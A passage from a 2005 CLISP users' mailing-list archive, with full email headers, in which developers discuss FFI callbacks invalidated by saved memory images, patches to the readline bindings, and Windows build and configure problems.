, List-Archive: Date: Fri Sep 30 06:54:24 2005 X-Original-Date: Fri, 30 Sep 2005 09:50:20 -0400 > * Tomas Zellerin [2005-09-30 08:36:04 +0200]: > > I am still a bit confused - I thought the call to init before image > saving would have no effect when loading image, as clisp has no way of > knowing what was saved by another library (readline), and I do not > understand why calling the function to get callback at *init-hooks* > time should produce invalid reference. the list of callbacks you create is kept in the lisp heap, so it is saved into the image and restored from it. alas, the restored list points to invalid C callback memory area. -- Sam Steingold (http://www.podval.org/~sds) running w2k Software is like sex: it's better when it's free. From sds@gnu.org Fri Sep 30 07:03:46 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ELLUI-0000Gn-L4 for clisp-list@lists.sourceforge.net; Fri, 30 Sep 2005 07:03:46 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ELLUG-0002lj-4z for clisp-list@lists.sourceforge.net; Fri, 30 Sep 2005 07:03:46 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j8UE3XQq027292; Fri, 30 Sep 2005 10:03:33 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Marko Kocic Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <9238e8de0509300629k34e0e8d4w@mail.gmail.com> (Marko Kocic's message of "Fri, 30 Sep 2005 15:29:25 +0200") References: <9238e8de05091407371f516243@mail.gmail.com> <9238e8de050914090152b5fece@mail.gmail.com> <9238e8de050915010637cfff7@mail.gmail.com> <9238e8de05091508376777f8d4@mail.gmail.com> <9238e8de0509300629k34e0e8d4w@mail.gmail.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Marko Kocic Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_COMMA BODY: Text interparsed with , 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_QUOTE BODY: Text interparsed with " 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ Subject: [clisp-list] Re: Windows compilation error Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Sep 30 07:05:15 2005 X-Original-Date: Fri, 30 Sep 2005 10:02:37 -0400 > * Marko Kocic [2005-09-30 15:29:25 +0200]: > > ;; MODPREP: "rawsock.c" --> #P"rawsock.m.c" > ;; MODPREP: reading "rawsock.c": 33,180 bytes, 1,805 lines > *** - "rawsock.c":572: no closing paren in > "DEFCHECKER(check_socket_domain,prefix=AF,default=AF_UNSPEC, > " > [0;NIL] please make sure that your sources are not corrupt. specifically, the like above should terminate with a backslash. -- Sam Steingold (http://www.podval.org/~sds) running w2k Those who value Life above Freedom are destined to lose both. From olsson@pi.cs.ucdavis.edu Sun Oct 02 14:00:52 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EMAwy-0003ti-5x for clisp-list@lists.sourceforge.net; Sun, 02 Oct 2005 14:00:48 -0700 Received: from baton.cs.ucdavis.edu ([169.237.6.6]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ELTmb-0004SO-A4 for clisp-list@lists.sourceforge.net; Fri, 30 Sep 2005 15:55:14 -0700 Received: from pi.cs.ucdavis.edu (pi.cs.ucdavis.edu [169.237.6.50]) by baton.cs.ucdavis.edu (8.13.3/8.13.3) with ESMTP id j8ULdNT2020204 for ; Fri, 30 Sep 2005 14:39:23 -0700 (PDT) Received: from pi.cs.ucdavis.edu (localhost.localdomain [127.0.0.1]) by pi.cs.ucdavis.edu (8.12.11/8.12.10) with ESMTP id j8ULdNhB026086 for ; Fri, 30 Sep 2005 14:39:23 -0700 Received: (from olsson@localhost) by pi.cs.ucdavis.edu (8.12.11/8.12.11/Submit) id j8ULdNUO026082; Fri, 30 Sep 2005 14:39:23 -0700 Message-Id: <200509302139.j8ULdNUO026082@pi.cs.ucdavis.edu> To: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on Thu, 29 Sep 2005 18:27:39 -0400) Subject: [clisp-list] Re: behavior of -x that uses a dribble in clisp-2.33.2 vs. in clisp-2.35 From: olsson@cs.ucdavis.edu (Ron Olsson) References: <200509162210.j8GMA30a019201@pi.cs.ucdavis.edu> X-Scanned-By: MIMEDefang 2.52 on 169.237.6.6 X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Oct 2 14:05:24 2005 X-Original-Date: Fri, 30 Sep 2005 14:39:23 -0700 From: Sam Steingold Date: Thu, 29 Sep 2005 18:27:39 -0400 > * Ron Olsson [2005-09-16 15:10:03 -0700]: > > dribble behaves differently between clisp-2.33.2 and clisp-2.35. that said, I think I restored the dribble behavior you wanted (it still won't work for scripts, but it will for -x) Great! I'll look for that in the next release. Thanks. From zellerin@gmail.com Sun Oct 02 13:30:38 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EMATi-0007WO-So for clisp-list@lists.sourceforge.net; Sun, 02 Oct 2005 13:30:34 -0700 Received: from zproxy.gmail.com ([64.233.162.206]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ELbLH-0006XB-G3 for clisp-list@lists.sourceforge.net; Fri, 30 Sep 2005 23:59:33 -0700 Received: by zproxy.gmail.com with SMTP id i11so52355nzh for ; Fri, 30 Sep 2005 23:59:25 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=KP69BxU9qWRhcJt+jAP492cpwuJRc8iX8cb+PAaPA+yNEwVoqTQIAm3gLKsD1C5j+3dmqbO1BpO4QISFuAOG4W2aHqJ1E2pZYjlnfqY3avo1LqSxWGzkHmlaiSe+tGCUQqbWiPtF4c39eENLywFh0va83yE20tMfF8gBLEw7hRk= Received: by 10.36.5.3 with SMTP id 3mr2675658nze; Fri, 30 Sep 2005 23:59:24 -0700 (PDT) Received: by 10.36.222.6 with HTTP; Fri, 30 Sep 2005 23:59:24 -0700 (PDT) Message-ID: From: Tomas Zellerin Reply-To: Tomas Zellerin To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] readline interface In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Oct 2 14:41:13 2005 X-Original-Date: Sat, 1 Oct 2005 08:59:24 +0200 2005/9/30, Sam Steingold : > > * Tomas Zellerin [2005-09-30 13:53:13 +0200]: > > > > Correcting myself - it is name parameter that must be allocated elsewhe= re. > > does my module work for you? Mostly, but not here. Try add-defun something, and then either list all known functions, or try to get the function using named-function. The former case is probably more instructive, as you can see that there is new function with name containing strange characters - new content of given place on stack, I guess. Also, setf-ing readline-name causes crash for me. No idea why and how to prevent it - I had same problem. As read-only variable, it is pretty useless. "It would be nice" if it was set to clisp somewhere by default. > > As for the set of function, I am missing these (binding from string/fil= e) > > > > (def-call-out parse-and-bind > > (:name "rl_parse_and_bind") > > (:arguments (line c-string)) > > (:return-type int)) > > (def-call-out read-init-file > > (:name "rl_read_init_file") > > (:arguments (name c-string)) > > (:return-type int)) > > please send a patch placing all the functions you want in the right > order in the right section. See attached below. Hope it would work, I have access to internet only through Windows atm. I included functions and variables I actually used, so it should work. It is still by no means complete set. I tried to make work key bindings and doing some work on background while waiting in repl, the choice of functions reflects this. Change to add-defun is not included. Also, according to info readline (which I used as the base), redisplay has return-type void. > > > Actually, my definitions are slightly different, as I use a wrapper > > macro so that not to type function name twice: > > and how do you convert from "history_is_stifled" to "history-stifled-p"? = :-) > Good point. I did not define the function :) > > (:library ,+readline-library+) > > not needed in the module. I tried to make it work on Windows, this is probably leftover of it. > > PS. please fix your mailer to respect "Mail-Copies-To" and "Reply-to". Ill try. Is it better? Tomas diff -ur /mnt/readline/readline.lisp ../modules/readline/readline.lisp --- /mnt/readline/readline.lisp 2005-09-30 16:12:10.000000000 +0200 +++ ../modules/readline/readline.lisp 2005-10-01 07:24:15.000000000 +0200 @@ -26,6 +26,8 @@ (c-lines "#include ~%") (def-c-type readline-command (c-function (:arguments (rep int) (char int))= )) +(def-c-type readline-hook-function (c-function (:return-type int))) +(def-c-type readline-vcpfunc (c-function (:arguments (text c-string)))) (def-call-out readline (:name "readline") (:arguments (prompt c-string)) @@ -56,6 +60,19 @@ (:arguments (variable c-string) (value c-string)) (:return-type int)) +(def-call-out bind-keyseq (:name "rl_bind_keyseq") + (:arguments (keyseq c-string) + (callback readline-command)) + (:return-type int)) + +(def-call-out parse-and-bind (:name "rl_parse_and_bind") + (:arguments (line c-string)) + (:return-type int)) + +(def-call-out read-init-file (:name "rl_read_init_file") + (:arguments (name c-string)) + (:return-type int)) + ;;; Associating Function Names and Bindings (def-call-out named-function (:name "rl_named_function") @@ -67,6 +84,30 @@ (def-call-out redisplay (:name "rl_redisplay") (:arguments) (:return-type int)) +(def-call-out forced-update-display (:name "rl_forced_update_display") + (:return-type int)) +(def-call-out on-new-line (:name "rl_on_new_line") + (:return-type int)) + +;;; Modifying text +(def-call-out insert-text (:name "rl_insert_text") + (:arguments (text c-string)) + (:return-type int)) + +;;; Character input + +(def-call-out set-keyboard-input-timeout (:name "rl_set_keyboard_input_timeout") + (:arguments (microseconds int)) + (:return-type int)) ; returns old value + +;;; Alternate interface +(def-call-out callback-handler-install (:name "rl_callback_handler_install= ") + (:arguments (prompt c-string) (lhandler readline-vcpfunc))) +(def-call-out callback-read-char (:name "rl_callback_read_char")) +(def-call-out callback-handler-remove (:name "rl_callback_handler_remove")= ) + + + ;;; variables (def-c-var library-version (:name "rl_library_version") (:type c-string)) @@ -75,6 +116,10 @@ (def-c-var insert-mode (:name "rl_insert_mode") (:type int)) (def-c-var readline-name (:name "rl_readline_name") (:type c-string)) ;"CL= ISP" +(def-c-var startup-hook (:name "rl_startup_hook") (:type readline-hook-function)) +(def-c-var pre-input-hook (:name "rl_pre_input_hook") (:type readline-hook-function)) +(def-c-var event-hook (:name "rl_event_hook") (:type readline-hook-functio= n)) + ;;; ------ history ------ (c-lines "#include ~%") From zellerin@gmail.com Sun Oct 02 16:21:09 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EMD8n-00022d-Cc for clisp-list@lists.sourceforge.net; Sun, 02 Oct 2005 16:21:09 -0700 Received: from zproxy.gmail.com ([64.233.162.203]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ELb4t-0000En-3t for clisp-list@lists.sourceforge.net; Fri, 30 Sep 2005 23:42:37 -0700 Received: by zproxy.gmail.com with SMTP id i11so51333nzh for ; Fri, 30 Sep 2005 23:42:23 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=rYsD/Xx4jQbOjfbHpmmWsGJhB9ngLa/T+3NInI7xYfnM3H51c9LqUJD935nsM/Ul76K3cyOYeRw8eX422AunTrumwxcEoO3ASJQBtxYyQAKHG//yo51tSDITE1OHwLcVhDXlknDS9bBPdBDe+4IhLFYSkH8+Rn0VhuagVawo0sQ= Received: by 10.36.75.12 with SMTP id x12mr6347318nza; Fri, 30 Sep 2005 23:42:23 -0700 (PDT) Received: by 10.36.222.6 with HTTP; Fri, 30 Sep 2005 23:42:23 -0700 (PDT) Message-ID: From: Tomas Zellerin Reply-To: Tomas Zellerin To: clisp-list@lists.sourceforge.net, Bruno Haible , Joerg-Cyril.Hoehle@t-systems.com In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: saveinitmem and ffi Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Oct 2 16:23:07 2005 X-Original-Date: Sat, 1 Oct 2005 08:42:23 +0200 2005/9/30, Sam Steingold : > > * Tomas Zellerin [2005-09-29 08:14:30 +0200]: > > > > while trying to make more from included readline, I encountered a > > problem that can be shown on this example: > > > > (use-package 'ffi) > > (def-call-out add-defun > > (:name "rl_add_defun") > > (:library :default) > > (:arguments (name c-string :in :malloc-free) > > (callback (c-function (:language :stdc) > > (:arguments (rep int) (char int))) > > :in :malloc-free) > > (key int)) > > (:language :stdc) > > (:return-type int)) > > (defun init () > > (labels ((edit-history (key rep) > > (print key) > > (print rep))) > > (add-defun "edit-history" #'edit-history -1))) > > (init) > > (push #'init *init-hooks*) > > (saveinitmem "foo") > > > > That is, a function with callback to linux is defined and then called. > > Now, this works fine when loaded (compiled or not), but when later > > loaded from image, it makes problem when compiled: > > > > $ clisp -norc -C problem.lisp > > $ clisp -q -M foo.mem > > > > *** - FFI::FOREIGN-CALL-OUT: # come= s from > > a previous Lisp session and is invalid > > The following restarts are available: > > SKIP :R1 skip (SAVEINITMEM foo) > > STOP :R2 stop loading file /home/tomas/src/misc/problem.= lisp > > ABORT :R3 ABORT > > $ clisp -norc problem.lisp > > $ clisp -q -M foo.mem > > [1]> > > > > When read-history is defined with defun, it makes same problem even > > when not compiled. > > a callback is allocated on the heap (with malloc) and it cannot be saved > into an image. > the reason you are not getting the error under some conditions is that > there is no attempt made to re-use the saved callback because the lisp > function corresponding to the callback was not found in the callback > hash table. > > PROPOSED SOLUTION: > > 1. exit_ffi() should release all callbacks and replace them in > O(foreign_callin_vector) with NIL. > this is not strictly necessary (you do not have to free all your > mallocs before exit, but I think this is "good taste"). > Bruno, Joerg, should we do this? > > 2. when convert_function_to_foreign() finds in invalid (or NIL) > triple[1], it should just call alloc_callback(); > see the appended patch. > Tomas, could you please try this patch? > it appears to fix the bug you reported. The patch worked and helped - thanks. Tomas > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > If abortion is murder, then oral sex is cannibalism. > > > --- foreign.d 21 Sep 2005 14:10:34 -0400 1.144 > +++ foreign.d 29 Sep 2005 18:20:45 -0400 > @@ -442,12 +442,23 @@ > if (equal_fvd(resulttype,Car(acons)) > && equal_argfvds(argtypes,Car(Cdr(acons))) > && eq(flags,Car(Cdr(Cdr(acons))))) { > - var gcv_object_t* triple =3D &TheSvector(TheIarray(O(foreign_c= allin_vector))->data)->data[3*posfixnum_to_V(Cdr(Cdr(Cdr(acons))))-2]; > - triple[2] =3D fixnum_inc(triple[2],1); /* increment reference = count */ > + var uintV f_index =3D posfixnum_to_V(Cdr(Cdr(Cdr(acons)))); > + var gcv_object_t* triple =3D &TheSvector(TheIarray(O(foreign_c= allin_vector))->data)->data[3*f_index-2]; > var object ffun =3D triple[1]; > ASSERT(equal_fvd(resulttype,TheFfunction(ffun)->ff_resulttype))= ; > ASSERT(equal_argfvds(argtypes,TheFfunction(ffun)->ff_argtypes))= ; > ASSERT(eq(flags,TheFfunction(ffun)->ff_flags)); > + var object faddress =3D TheFfunction(ffun)->ff_address; > + if (fp_validp(TheFpointer(TheFaddress(faddress)->fa_base))) { > + triple[2] =3D fixnum_inc(triple[2],1); /* increment referenc= e count */ > + } else { /* callback from the previous session -- renew */ > + /* leave the reference count alone */ > + begin_system_call(); > + TheFaddress(faddress)->fa_offset =3D > + (uintP)alloc_callback(&callback,(void*)(uintP)f_index); > + end_system_call(); > + TheFaddress(faddress)->fa_base =3D O(fp_zero); > + } > return ffun; > } > } > From sds@gnu.org Sun Oct 02 18:51:47 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EMFUZ-0007Js-Jv for clisp-list@lists.sourceforge.net; Sun, 02 Oct 2005 18:51:47 -0700 Received: from smtp01.mrf.mail.rcn.net ([207.172.4.61]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EMFUZ-00053n-BX for clisp-list@lists.sourceforge.net; Sun, 02 Oct 2005 18:51:47 -0700 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp01.mrf.mail.rcn.net with ESMTP; 02 Oct 2005 21:51:46 -0400 X-IronPort-AV: i="3.97,165,1125892800"; d="scan'208"; a="91094978:sNHT23210120" To: clisp-list@lists.sourceforge.net, Tomas Zellerin Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Tomas Zellerin's message of "Sat, 1 Oct 2005 08:59:24 +0200") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Tomas Zellerin Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ Subject: [clisp-list] Re: readline interface Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Oct 2 18:52:04 2005 X-Original-Date: Sun, 02 Oct 2005 21:50:40 -0400 > * Tomas Zellerin [2005-10-01 08:59:24 +0200]: > > 2005/9/30, Sam Steingold : >> > * Tomas Zellerin [2005-09-30 13:53:13 +0200]: >> > >> > Correcting myself - it is name parameter that must be allocated elsewhere. >> >> does my module work for you? > > Mostly, but not here. Try add-defun something, and then either list > all known functions, or try to get the function using named-function. how do I list all known functions? > The former case is probably more instructive, as you can see that > there is new function with name containing strange characters - new > content of given place on stack, I guess. I guess :alloc :malloc-free is needed. > Also, setf-ing readline-name causes crash for me. No idea why and how > to prevent it - I had same problem. same: :alloc :malloc-free. > As read-only variable, it is pretty useless. "It would be nice" if it > was set to clisp somewhere by default. it was before... > I included functions and variables I actually used, so it should work. > It is still by no means complete set. I tried to make work key > bindings and doing some work on background while waiting in repl, the > choice of functions reflects this. well, if we are at it, why not do everything? > Change to add-defun is not included. Also, according to info readline > (which I used as the base), redisplay has return-type void. indeed. thanks. >> PS. please fix your mailer to respect "Mail-Copies-To" and "Reply-to". > Ill try. Is it better? yes, thanks. Alas, the patch was corrupt (lines wrapped &c) the best way would be to open a "patch" tracker issue on SF. thanks. -- Sam Steingold (http://www.podval.org/~sds) running w2k Why use Windows, when there are Doors? From zellerin@gmail.com Sun Oct 02 23:30:38 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EMJqK-0001nZ-ID for clisp-list@lists.sourceforge.net; Sun, 02 Oct 2005 23:30:32 -0700 Received: from zproxy.gmail.com ([64.233.162.206]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EMJqK-00052V-CG for clisp-list@lists.sourceforge.net; Sun, 02 Oct 2005 23:30:32 -0700 Received: by zproxy.gmail.com with SMTP id i11so232395nzh for ; Sun, 02 Oct 2005 23:30:26 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=aCN33l0ii6mTyONlFZcPSHHIAB4w2agDVv8gQDnH9xynz5rik0Kpl2RCSB5igpWyEvES/Lypz35ALyvlhJ+1kDz72K46aQxU0enLRyxp8sZI2nB5nuacqwbur1pjuC/8ECVdZcbfYrEiaesoEd9VirYalP3YnMdf5/yqLjKg9wc= Received: by 10.36.20.18 with SMTP id 18mr482289nzt; Sun, 02 Oct 2005 23:30:26 -0700 (PDT) Received: by 10.36.222.6 with HTTP; Sun, 2 Oct 2005 23:30:25 -0700 (PDT) Message-ID: From: Tomas Zellerin Reply-To: Tomas Zellerin To: clisp-list@lists.sourceforge.net, Tomas Zellerin In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - Subject: [clisp-list] Re: readline interface Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Oct 2 23:31:23 2005 X-Original-Date: Mon, 3 Oct 2005 08:30:26 +0200 > >> > >> does my module work for you? > > > > Mostly, but not here. Try add-defun something, and then either list > > all known functions, or try to get the function using named-function. > > how do I list all known functions? I do it by binding dump-functions to a key in inputrc and pressing the key. "\ea": dump-functions > > > The former case is probably more instructive, as you can see that > > there is new function with name containing strange characters - new > > content of given place on stack, I guess. > > I guess :alloc :malloc-free is needed. > Yes, I did it that way and it worked. You will get a leak every time you change binding to same string, but why someone should do it? > > Also, setf-ing readline-name causes crash for me. No idea why and how > > to prevent it - I had same problem. > > same: :alloc :malloc-free. > I should have guessed it. > > As read-only variable, it is pretty useless. "It would be nice" if it > > was set to clisp somewhere by default. > > it was before... > > > I included functions and variables I actually used, so it should work. > > It is still by no means complete set. I tried to make work key > > bindings and doing some work on background while waiting in repl, the > > choice of functions reflects this. > > well, if we are at it, why not do everything? There are reasons I see not to include everything : - unused functions will not be tested and could cause crashes - unused functions are not needed (there is lot of duplication through the interface) - someone would have to write it, and I dont understand what some functions do, in particular how completion works. Of course, all can be disagreed (you wont get testing unless you include it= ). A style question - why are defined variables not starred? > Alas, the patch was corrupt (lines wrapped &c) > the best way would be to open a "patch" tracker issue on SF. > thanks. It is there. Regards, Tomas From kavenchuk@jenty.by Mon Oct 03 05:15:09 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EMPDk-0000Fw-SS for clisp-list@lists.sourceforge.net; Mon, 03 Oct 2005 05:15:04 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EMPDh-0007cD-Rv for clisp-list@lists.sourceforge.net; Mon, 03 Oct 2005 05:15:04 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id TPFBTH2X; Mon, 3 Oct 2005 15:15:31 +0300 Message-ID: <43412101.1000805@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = Subject: [clisp-list] Re: readline interface Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Oct 3 05:16:27 2005 X-Original-Date: Mon, 03 Oct 2005 15:16:01 +0300 Sam Steingold wrote: > I do not use gnuwin32.sf.net, so I cannot debug this. > 1. did you pass "--with-readline" to top-level ./configure? Yes: ./configure --with-mingw --with-readline \ --with-module=dirkey --with-module=pcre \ --with-module=postgresql --with-module=rawsock \ --with-module=wildcard --with-module=zlib \ --with-module=bindings/win32 \ --with-libpcre-prefix=/usr/local \ --with-libreadline-prefix=/usr/local \ --with-libpq-prefix=c:/PostgreSQL/8.0 \ --build build-full > 2. was readline detected by ./configure? ... Configure findings: FFI: yes (user requested: default) readline: yes libsigsegv: yes To continue building CLISP, the following commands are recommended (cf. unix/INSTALL step 4): ... in config.cache only this: ac_cv_use_readline=${ac_cv_use_readline=yes} in config.log: ac_cv_use_readline=yes > 3. was "--with-readline" given to makemake? Yes, but: $ ./makemake --with-dynamic-ffi --win32gcc --with-readline --with-module=dirkey --with-module=pcre --with-module=postgresql --with-module=rawsock --with-module=wildcard --with-module=zlib --with-module=bindings/win32 --with-libpcre-prefix=/usr/local --with-libreadline-prefix=/usr/local --with-libpq-prefix=c:/PostgreSQL/8.0 --srcdir=../src > Makefile makemake: configure failed to detect readline Why? if change in makemake.in if [ "${with_readline}" != ifpossible ]; then to if [ "${with_readline}" != yes ]; then clisp is build, but without readline. Thanks. -- WBR, Yaroslav Kavenchuk. From zellerin@gmail.com Mon Oct 03 06:06:55 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EMQ1p-0003Io-UL for clisp-list@lists.sourceforge.net; Mon, 03 Oct 2005 06:06:49 -0700 Received: from zproxy.gmail.com ([64.233.162.196]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EMQ1n-0003kV-MK for clisp-list@lists.sourceforge.net; Mon, 03 Oct 2005 06:06:49 -0700 Received: by zproxy.gmail.com with SMTP id i11so269429nzh for ; Mon, 03 Oct 2005 06:06:34 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; 